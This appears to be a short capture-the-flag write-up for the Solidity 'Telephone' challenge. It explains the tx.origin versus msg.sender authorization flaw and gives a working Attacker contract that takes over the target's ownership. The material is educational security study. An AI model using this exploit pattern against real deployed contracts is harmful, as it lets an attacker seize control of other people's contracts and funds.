// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
The tx.origin
is the address that creates the transaction, and msg.sender
is the sender of the current message. As such, tx.origin == msg.sender
is true if message sender is an ethereum account; or false if the message sender is a contract. So, we want tx.origin != msg.sender
to become the owner of the target, we just need to write a contract and call that function.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Telephone {
function changeOwner(address _owner) external;
}
contract Attacker {
Telephone telephoneTarget;
constructor(address _target) {
telephoneTarget = Telephone(_target);
}
function pwn() public {
require(msg.sender == tx.origin, "Who is attacking? :D");
telephoneTarget.changeOwner(tx.origin);
}
}
Top comments (0)